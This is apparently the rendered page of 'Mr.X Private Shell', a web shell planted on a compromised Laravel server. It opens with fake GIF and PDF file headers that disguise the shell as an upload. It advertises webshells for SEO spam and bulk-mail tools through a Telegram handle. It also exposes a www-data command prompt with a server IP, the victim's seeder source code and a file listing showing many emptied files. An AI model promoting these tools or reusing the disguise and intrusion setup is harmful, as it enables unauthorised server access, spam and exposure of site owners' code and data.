GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
<?php

declare(strict_types=1);

namespace Database\Seeders;

use App\Domain\Users\UserService;
use App\Enums\RoleEnum;
use App\Models\System;
use App\Models\User;
use Illuminate\Database\Seeder;

final class RoleTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     */
    public function run(): void
    {
        /**
         * @var UserService $service
         */
        $service = app()->make(UserService::class);
        $roles = [
            //'admin', // Супер-пользователь
            RoleEnum::ACCOUNTANT, // Бухгалтер
            RoleEnum::MODERATOR, // Согласование
            RoleEnum::COLLABORATOR // Сотрудник
        ];
        $users = User::query()->where('email', '!=', 'replay@top-it.ru')->get();
        $models = System::query()->get();
        foreach ($users as $index => $user) {
            $role = $roles[$index % count($roles)];
            foreach ($models as $model) {
                $service->assignRole($user, $role, $model->id);
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
nginx Folder 0755
php Folder 0755
.gitignore File 10 B 0644
6aa61bc237c1a9aeb6dfa3085faddb66.php File 489 B 0644
9f80e7acd0e42b4f48bfb049f076dbad.php File 681 B 0644
AuthService-20260128135513.php File 699 B 0644
AuthService.php File 699 B 0644
CashFlowService-20260128160925.php File 0 B 0644
CashFlowService.php File 0 B 0644
DelayedEnvelope.php File 2.36 KB 0644
MessageResponse.php File 0 B 0644
OpenApiValidationErrorResponse.php File 726 B 0644
ProjectSeeder.php File 2.15 KB 0644
ResetPasswordNotification.php File 1.28 KB 0644
RoleTableSeeder-20260128082428.php File 0 B 0644
RoleTableSeeder.php File 1.04 KB 0644
SerializerInterface.php File 1.87 KB 0644
System.php File 801 B 0644
accounts.php File 927 B 0644
api-20260128154137.php File 0 B 0644
api-20260128154410.php File 0 B 0644
api.php File 0 B 0644
app-20260128144347.php File 0 B 0644
app.php File 0 B 0644
auth-20260128131414.php File 0 B 0644
auth.php File 0 B 0644
cache.php File 0 B 0644
console-20260128131433.php File 0 B 0644
console-20260128140941.php File 0 B 0644
console.php File 0 B 0644
contragents.php File 0 B 0644
debugbar-20260128154004.php File 0 B 0644
debugbar.php File 0 B 0644
default.conf File 0 B 0644
index.html File 0 B 0644
services-20260128123559.php File 0 B 0644
services.php File 0 B 0644
web.php File 0 B 0644